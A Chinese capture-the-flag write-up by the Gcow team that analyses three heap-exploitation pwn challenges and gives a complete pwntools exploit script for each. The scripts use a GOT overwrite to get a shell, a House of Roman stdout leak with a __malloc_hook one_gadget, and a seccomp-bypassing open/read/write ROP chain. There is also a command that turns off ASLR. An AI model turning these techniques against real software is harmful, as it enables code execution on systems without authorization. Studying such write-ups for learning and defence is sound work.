首页
论坛
课程
招聘

高校战“疫”网络安全分享赛-部分PWN题-wp

Gcow安全团队 2020-04-11 17:15

高校战“疫”网络安全分享赛-部分PWN题-wp

1.本文由复眼小组的RGDZ师傅原创
2.本文共3500字,图片30张 预计阅读时间10分钟
3.由于笔者水平有限,所以部分操作可能不是最优的,如果各位看官还有更好的方法,欢迎您到评论区分享一下!

0x00.前言:

周末打了下 《高校战“疫”网络安全分享赛》,作为WEBPWN的菜鸟,只做出了三个PWN, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP,记录一下。

0x01.easy_heap:

1.函数分析:

这道题比较简单,checksec如下:

 

图片1 checksec

 

main函数如下:

 

图片2 easy_heap_main

 

del函数可以发现指针已经清0

 

图片3 easy_heap_del

 

add函数如下:

 

图片4 easy_heap_add

 

我们可以发现,其现申请的ptr指针然后再给其赋值,如果我们申请的时候,输入大于0x400size,虽然函数退出,但是实际上ptr[i]里面已经有指针了,而且上面的del函数释放时并没有给size清空,漏洞点就在这里

2.思路简述:

我们可以现申请一个0x600x70fastbin,然后释放掉,此时fastbin的链表如下:

 

图片5 easy_heap_add的fastbin链表

 

之后我们再add(0x500)一下,ptr[0]就等于第一个fastbin,同时其fd指针还保留了留在0x1552000也就是第二个fastbin的指针地址,所以这个时候我们编译ptr[0]也就是编辑第二个fastbin,之后我们可以在add(0x20)一下,add(0x50)把第二个bin拿出来,同时拿到ptr[2]之后我们编辑ptr[0]实际上就可以控制ptr[1], 现在ptr的堆栈情况如下:

 

图片6 ptrs

 

所以我们编辑ptr[0]来使得ptr[1]的指针变成170也就是ptr[2],(注:这里地址不一样是因为我本地开了ASLR,我是在脚本里面直接下的断点,但后三位偏移是一样的。)所以当我们在去编辑ptr[1]时实际上就是在编辑ptr[2]chunk,如图:

 

图片7 ptrs2

 

由于程序没有开启got保护,而且题目没有给出输出函数,所以我们可以先想办法泄露,我们可以先通过ptr[1]修改ptr[2]的指针指向free_got,在通过编辑ptr[2]来修改free_gotputs_plt,在回去编辑ptr[1]来修改ptr[2]atoi_got,这样当我们free掉ptr[2]后,就能泄露atoi的地址,计算出libc基地址,我们在通过编辑ptr[0]来使得ptr[1]指向atoi_got,在编辑ptr[1]来修改atoi_gotsystem的地址,这样下一次输入时输入/bin/sh就可以getshell了。

3.完整EXP:

from pwn import *

context.log_level = "debug"

io = process("easyheap")
# io = remote("121.36.209.145", 9997)
elf = ELF('easyheap')
libc = ELF("libc.so.6")

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendlineafter("How long is this message?", str(size))
    io.sendafter("What is the content of the message?", buf)

def free(idx):
    c(2)
    io.sendlineafter("What is the index of the item to be deleted?", str(idx))

def edit(idx, buf):
    c(3)
    io.sendlineafter("What is the index of the item to be modified?", str(idx))
    io.sendafter("What is the content of the message?", buf)


add(0x60, '\x00')
add(0x70, '\x00')

free(0)
free(1)

c(1)
io.sendlineafter("How long is this message?", str(0x500))
add(0x20, '\xaa')
add(0x50, '\xaa')

buf = p64(0)
buf += p64(0x21)
buf += '\x70'    #fix    
edit(0, buf)
attach(io)

edit(1, p64(elf.got['free']))
edit(2, p64(elf.plt['puts']))
edit(1, p64(elf.got['atoi']))

free(2)
io.recv()
atoi_addr = u64(io.recv(6)+"\x00\x00")
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']
log.info("libcbase: 0x%x"%libcbase)
log.info("system addr: 0x%x"%system_addr)

# 2 is 0 so fix 1
buf = p64(0)
buf += p64(0x21)
buf += p64(elf.got['atoi'])    #fix  atoi to system
buf += p64(0x500)
edit(0, buf)

edit(1, p64(system_addr))

io.recv()
io.sendline("/bin/sh")
io.interactive()

0x02.woodenbox:

这题的提示很明显,基本就是Roman,但这次我脸太黑,爆破一晚上,没跑出flag,最后查略资料发现Roman其使用在fastbin attack环节先去攻击stderr+157这个地址,这个偏移是固定,在2.23版本的libc中,之后填充0x33就可以攻击stdout结构体,从而可以制造泄露,这样就能把原先Roman的攻击概率从1/4096,提高到1/16,成功率大大提高,这里以这道题来实例分析一下流程。

1.函数分析:

add函数如下:

 

图片8 woodenbox_add

 

edit函数如下,这里可以发现很明显的堆溢出了,重新输入了size,但并没有重新申请chunk

 

图片9 woodenbox_edit

 

remove函数如下:

 

图片10 woodenbox_remove

 

这里会比较绕,作者用了一个items,一个ptrs同时控制数据数组,实际上我们一看地址就清楚了,如图,itemsptrs的地址:

 

图片11 items_ptrs_addr

 

这里实际上items是指向第一个数据块的size,ptrs指向第一个数据块的ptr,所以可以定义如下结构:

 

图片12 item_ptr_struct

 

这样看着就清楚多了,这还有一个点比较坑,作者移除数据块是非正常移动,在把items[i]置为0后,就开始往上移动,items[0]块相当于消失,下方的块上移一次,所以控制chunk下标时要注意,同时最后一个块也就是item[11]并不会消失,除非主动删除他

2.思路简述:

在调试这题时我们可以先关闭aslr随机化

echo 0 > /proc/sys/kernel/randomize_va_space

我们依然先使用Roman开题手法,先拿到一个unsorted bin
然后通过上一个chunk溢出来覆盖size域和fd后4位,其中第一位需要爆破也就在这里
当我们完成unsorted bin覆盖size域后其在fastbin里面)的fd覆盖后,如图:

 

图片13 bins

 

我们最后四位覆盖为"\x25\xdd"这个偏移是2.23libc是固定的,我们fastbin attack后可以拿到stderr+173其目的是为了控制stderr+221实际上就是覆盖stdout结构体中_IO_write_base,如图:

 

图片14 stdout1

 

关于stdout的更多细节可以参考:

  • 从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057

这样就可以进行泄露对了覆盖是我们还多覆盖了"\x00",这样就可以使得其输出一个0x7ffff7dd2600这里我们将a3变成00这样可以截断输出,0xffff7dd2600实际上是stderr+192,如图:

 

图片15 stdout2

 

完成上面步骤我们就成功泄露了libc基地址,接着就可以直接改malloc_hook为one_gadget,最后触发malloc_printerrgetshell,题目已经在leave给出:

 

图片16 leave

3.完整EXP如下:

from pwn import *

context.log_level = "debug"

# io = process("./woodenbox2")

elf = ELF('./woodenbox2')
libc = ELF('./libc.so')

def c(idx):
    io.sendlineafter("Your choice:", str(idx))

def add(size, buf):
    c(1)
    io.sendafter("Please enter the length of item name:", str(size))
    io.sendlineafter("Please enter the name of item:", buf)

def edit(idx, buf):
    c(2)
    io.sendlineafter("Please enter the index of item:", str(idx))
    io.sendafter("Please enter the length of item name:", str(len(buf)))
    io.sendafter("Please enter the new name of the item:", buf)

def free(idx):
    c(3)
    io.sendlineafter("Please enter the index of item:", str(idx))

def pwn():
    add(0x20, '') # 0
    add(0x20, '') # 1
    add(0x60, '') # 2
    add(0x60, '') # 3
    add(0x60, '') # 4
    add(0x60, '') # 5
    add(0x80, '') # 6 #unsort bin
    add(0x60, '') # 7 
    add(0x60, '') # 8 
    add(0x60, '') # 9 
    # add(0x80, '') # 10
    add (0x20, '')  # free
    add(0x60, '') # 11

    free(6) # 
    free(6)
    free(2)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += "\x20"
    edit(0, buf)

    buf = '\x00'*0x68
    buf += p64(0x71)
    buf +=  p16(0x25dd) # stderr+157
    edit(2, buf)

    attach(io)

    add(0x60, '')
    add(0x60, '')
    add(0x60, '')   # stderr+157

    # attack stdout
    buf = '\x00'*0x33
    buf += p64(0xfbad2887|0x1000)
    buf += p64(0)*3+'\x00'
    edit(4, buf)            # leak _IO_2_1_stdout_+131

    # leak libcbase
    stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    log.success("stdout_a: 0x%x"%stdout_a)
    libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192
    log.success("libcbase: 0x%x"%libc.address)

    free(6)
    # malloc_hook_near = "\xed\x1a"
    malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23)
    buf = '\x00'*0x68
    buf += p64(0x71)
    buf += malloc_hook_near
    edit(4, buf)    #fix fastbin and attack malloc-0x23

    # attack malloc
    free(6)
    free(6)
    add(0x60, '')
    add(0x60, '')   
    add(0x60, '') # malloc_hook -0x13
    #fix fastbin

    free(3)
    edit(5, p64(0))


    # # unsorted bin attack
    # buf = '\x00'*0x68
    # buf += p64(0x90)
    # buf += p64(0)
    # buf += "\x00"
    # edit(1, buf)
    # add(0x80, '')

    # attack get shell
    one_gadget = libc.address + 0xf02a4
    # one_gadget = p64(one_gadget)[:3]
    buf = '\x00'*0x13
    buf += p64(one_gadget)
    edit(4, buf)

    # gdb.attach(io)
    c(4)
    io.interactive()

for i in range(200):
    try:
        # io = remote("121.36.215.224", 9998)
        io = process("./woodenbox2")
        pwn()
    except:
        print(i)

0x03.lgd:

这题说句实话,感觉就是出题人有点恶心

 

首先开了一个BCF(虚假控制流)

 

图片17 BCF

 

图片18 checksec

 

一看有点吓人,实际上我当时想去除这种混淆,但之前没有好好研究过这种混淆,参考了看雪的这篇帖子:

  • Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm

但是没有成功,不过不影响。

1.函数分析:

我们仅仅关注关键点:

 

add函数中:

 

图片19 add1

 

第一处其申请一个size<0x1000的chunk放在buf[i],i最大是32

 

图片20 add2

 

第二处将输入的字符的长度赋值到size

 

图片21 add3

 

第三处将size放入sizes[i]

 

del函数关键如下:

 

图片22 del1

 

释放buf[i]

 

图片23 del2

 

这里b, c都是bss段上的常量,而且默认都是0,这种BCF混淆的一种手法,整个程序没有一个地方堆b,c进行赋值,所以这里就是将buf[i]清0

 

edit函数如下:

 

图片24 edit

 

这里的size实际上我们在add函数时输入字符的长度,所以这里就是一个典型的堆溢出

 

show函数如下:

 

图片25 show

 

这里可以进行泄露

2.思路简述:

我们首先利用unsorted bin进行泄露拿到libc基地址,之后原本以为就正常的fastbin attack改hook get_shell,但打了半天打不通后才发现其开了函数禁用

 

图片26 seccomp-tools

 

所以这里我们得想办法绕过,典型的orwopen read write就是构造shellcode或者rop链来执行open函数打开文件,read读取内容,write函数输出

 

这里没有可执行的区域,所以我选择构造rop链,这里可以参考安全客的这篇文章

  • 一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14

实际简单的说就是先泄露libcenviron变量的值计算偏移得到main函数的rbp地址然后将rop链写入栈中,当main函数执行后退出后就能劫持程序执行流,比较常规的操作

 

计算main函数rbp的偏移可以使用文章用的

 

图片27 environ_main_rbp

 

可以计算出偏移为0xf8

 

那么我们怎么才能泄露environ以及往栈里面写rop链呢?

 

图片28 sizes_buf_addr

 

我们发现sizes距离buf很近仅仅0x80的字节,而且sizes[i]buf[i]中chunk的真实size并无联系可以借此溢出,所以我们可以多构造几个sizes[i]0x7F这样就能轻松控制buf的内容,从而实现任意地址写,和任意地址读(构造的rop链可以参考安全客的文章)

 

但是当我向main函数的返回地址,也就是rbp的地址写入rop链后程序并没去执行rop,我才注意到main函数并非直接返回,而是执行exit(0)直接退出,但这样我们就不能执行rop链,此处多次思考无果,后有师傅说去劫持eixt函数,这里参考安全客的这篇文章

  • 详解 De1ctf 2019 pwn——unprintable —— https://www.anquanke.com/post/id/183859

但我实际去劫持的时候失败了,这里回头在实验实验,然后还有师傅说利用SROP,修改free_hookcontext然后将bss段改为可执行,写入shellcode的执行,额,哇靠有点操作难度,感觉比较复杂,那么有没有在简单的方法呢?实际还有,我们注意edit函数,这里在看一下

 

图片29 edit2

 

我们发现其向buf[i]写完东西以后就直接退出了,所以我们是否可以去劫持他的返回地址而不是main函数的返回地址呢?

 

答案是可行的,我们来看一下他的偏移

 

图片30 edit_rbp

 

经过计算发现其偏移等于main_rbp-0x130也就是environ-0x228

 

所以我们这一次将目标地址写入这里,在写入之前注意我们需要再申请一块chunk,主要目的是使得sizes[i]的大小足够我们写入rop链,这里申请0x200好了

3.完整EXP如下:

from pwn import *

context.arch = 'amd64'
context.log_level = "debug"

io = process("./pwn")
# io = remote("121.36.209.145", 9998)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def init():
    name = "wo si n baba!!!!,sb chu ti ren"
    io.sendafter("son call babaaa,what is your name? ", name)

def c(idx):
    io.sendlineafter(">> ", str(idx))

def add(size, real_size=0x7E):
    c(1)
    io.sendlineafter("______?", str(size))
    io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size))

def free(idx):
    c(2)
    io.sendlineafter("index ?", str(idx))

def show(idx):
    c(3)
    io.sendlineafter("index ?", str(idx))

def edit(idx, buf):
    c(4)
    io.sendlineafter("index ?", str(idx))
    io.sendafter("___c___r__s__++___c___new_content ?", buf)

init()
add(0x80)
add(0x20)

free(0)

add(0x80)
show(0)

main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00'))
libc_addr = main_arena_88 - (0x7fcadeb17b78-0x7fcade753000)
libc.address = libc_addr
log.success(hex(libc.address))

add(0x10)
add(0x60)
add(0x10)

#attack bss
free(3)
buf = "\x00"*0x18
buf += p64(0x71)
buf += p64(0x603268) #0
edit(2, buf)

add(0x60)
add(0x60) # 5

# leak environ
buf = '\x00'*0x68
buf += p64(libc.symbols['environ'])
edit(5, buf)
show(0)
environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00"))
log.success("environ: 0x%x"%environ)

free(1)
add(0x80, 0x200)

io.recv()
# attack stack and malloc_hook
main_rbp_addr = environ - 0xf8
malloc_hook_addr = libc.symbols['__malloc_hook']
log.success("malloc_hook_addr: 0x%x"%malloc_hook_addr)
buf = '\x00'*0x60
buf +=  "flag".ljust(8, "\x00")
buf += p64(0) # 0
buf += p64(main_rbp_addr-0x130)   # 1

edit(5, buf)

layout = [
    # "flagx00x00x00x00", # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret
    0x0000000000400711, # ret

    0x00000000004023b3, # : pop rdi ; ret
    0x603268+0x70,       # stack_addr - 0xf8,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0,
    0,
    libc_addr + 0x0000000000033544, # : pop rax ; ret
    2, # sys_open
    libc_addr + 0x00000000001077F5, # : syscall ; ret

    0x00000000004023b3, # : pop rdi ; ret
    3,
    0x00000000004023b1, # : pop rsi ; pop r15 ; ret
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # : pop rdx ; ret
    0x100,
    elf.plt['read'],

    0x00000000004023b3, # pop rdi
    1,
    0x00000000004023b1, # pop rsi
    0x6033E0,
    0,
    libc_addr + 0x0000000000001b92, # pop rdx
    0x50,

    libc_addr + 0x0000000000033544, # pop eax
    1,
    libc_addr + 0x00000000001077F5, #syscall

    elf.plt['exit']
]

c(4)
io.sendlineafter("index ?", str(1))
# attach(io)
io.sendafter("___c___r__s__++___c___new_content ?", flat(layout))
io.interactive()

0x04.总结:

这次虽然只做出了3道题,但还是学到很多姿势,特别最后一道,就感觉知识迁移能力很重要,以及做题的时候很多需要灵活应变,感觉收获还是满满的,期待大佬们其他题的WP.还请各位大佬多多担待,有什么新的想法欢迎在公众号的后台留言提出。

0x05.参考文章:

  • 从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057

  • Hex-Rays: 十步杀一人,两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm

  • 一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14

  • 详解 De1ctf 2019 pwn——unprintable——https://www.anquanke.com/post/id/183859


分享到:
最新评论 (0)
登录后即可评论